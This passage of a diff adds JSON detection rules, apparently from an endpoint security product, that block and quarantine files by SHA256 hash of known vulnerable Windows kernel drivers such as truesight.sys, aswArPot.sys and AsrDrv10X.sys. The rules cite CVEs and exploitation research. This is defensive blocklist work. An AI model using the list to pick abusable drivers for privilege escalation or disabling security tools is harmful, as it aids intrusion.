+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810011Z",
+  "creation_date": "2026-03-23T11:45:31.810013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5cb8102fdd41687f386e57c7728a07810e620e9117d7394d79d5ad753261ffc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21877d01-7486-5db8-ad6c-3f5df81a9099",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458722Z",
+  "creation_date": "2026-03-23T11:45:30.458725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "058c4fbd3a12f0d7ddfc771067f03dea88cc33dd4b61139edcb0b2d17905f084",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "218924ad-8816-5364-b3e5-7a9ba6cde337",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160153Z",
+  "creation_date": "2026-03-23T11:45:31.160155Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62acd95fb57656258a9621b72b5a6697f90e18c9941fc840f993d304522c3f42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "218decdb-7c20-5bc7-9ac4-d8980e603efc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619524Z",
+  "creation_date": "2026-03-23T11:45:29.619526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38e7a51de1701057088aac05a8d98a7bb447f8204d193a9f77f449c97b00c850",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "218e03dd-6e9d-556a-8d4e-8ff14e7180bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146970Z",
+  "creation_date": "2026-03-23T11:45:31.146973Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcde2218562066972e7794ca362dfef3ad98a8eb03750e0610cd47c2bed6b74c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "218f2ef1-f0a0-5120-93f2-cc088926a6d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971542Z",
+  "creation_date": "2026-03-23T11:45:29.971544Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1997b7217dfddd8fbd4924e86b58fe585ef4bd91c3069d3deeb34ea70eb82d60",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2192c2b4-4066-5489-9fdb-518c23fa6525",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620763Z",
+  "creation_date": "2026-03-23T11:45:29.620764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620770Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1334a71cc73b3d0c54f62d8011bec330dfc355a239bf94a121f6e4c86a30a2e",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "219b1808-2fe3-5b76-ac3c-568719d4c284",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458848Z",
+  "creation_date": "2026-03-23T11:45:30.458851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa1c07fc6289ddc2182b11e555073e66b7acbfc17c38efb44ecaa19a6aaf722f",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "219d4acc-ee4c-5d64-96f3-d43ac21a4a61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477549Z",
+  "creation_date": "2026-03-23T11:45:30.477552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477561Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b11e109f6b3dbc8aa82cd7da0b7ba93d07d9809ee2a4b21ec014f6a676a53027",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21a5a513-4811-5537-93a8-b2b9322aa250",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458079Z",
+  "creation_date": "2026-03-23T11:45:30.458083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f62911334068c9edd44b9c3e8dee8155a0097aa331dd4566a61afa3549f35f65",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21be4aed-a057-512d-b267-3bfa722e07ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828618Z",
+  "creation_date": "2026-03-23T11:45:31.828620Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "285d8e3f07009af95cdeab7bfc91cdbfbae48663582745a5881cfd7d63168ff1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21bfdfd2-d7c0-5b7c-8e5e-efd6a6b8c3d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478542Z",
+  "creation_date": "2026-03-23T11:45:30.478545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2d9f91ede8aed51960ca67318ea337152bb311c03275c0650e4421e6af6b7ee",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21c56f4d-ad5e-51ab-80b2-807c0fe08a0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817905Z",
+  "creation_date": "2026-03-23T11:45:30.817909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2b6350e17e9b24b7140eed743b4ae0b01453bbb8cb73b091b51e2306017d80f",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21ecad1e-431f-56b5-a336-b69db5a220e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810646Z",
+  "creation_date": "2026-03-23T11:45:31.810648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810653Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d86545c85fa90faa95f5d67723686174f82107dd423feba54907ce0e4297f87",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22054282-f6c4-58d4-bd1f-5515b4a07cf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481115Z",
+  "creation_date": "2026-03-23T11:45:30.481117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3a74ac9d23efaa857333a4d8a40ed0026f28575475deeb6eb301fcc0db34efc",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2215df9f-951b-5cb3-8d9f-e394810e80c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145956Z",
+  "creation_date": "2026-03-23T11:45:31.145959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebce1e4dc3b7128e7bfb61ce564b00e2643d3824d3bdf59ffdb3dcdc179aa03c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22199dd4-c945-5622-9ca4-7639c7c97a78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968892Z",
+  "creation_date": "2026-03-23T11:45:29.968894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2235af9e-6f98-5d24-aa4f-b79e89f8cc0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983832Z",
+  "creation_date": "2026-03-23T11:45:29.983834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47489362609fa9bd398deec955d5600780bb3788eb29a282bcc5245905713eb0",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22411822-4752-52f3-8877-0fd21ba88070",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613242Z",
+  "creation_date": "2026-03-23T11:45:29.613244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "224b83bb-9e02-55c4-8346-343791bd86c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969984Z",
+  "creation_date": "2026-03-23T11:45:29.969986Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47f64d6753f40388382097351a26dad54b8fdf59529a24acc65e9ced440ee2c6",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "224bc865-63ed-5e39-a42a-fb58711c33da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475507Z",
+  "creation_date": "2026-03-23T11:45:31.475511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ab7f3cae3cda68c14847807f120099d150062ba0d3af26e500dce2b099c5ae3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "224ff849-5ac7-59e8-9a76-6e6b46bc4e3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152631Z",
+  "creation_date": "2026-03-23T11:45:31.152633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152639Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b4ff34191eff716061cc36b039bb79db011c7f4a86cb0f1a0e9a5f6bd1b8913",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "225537ae-c682-5d94-9322-54b96efef55e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836047Z",
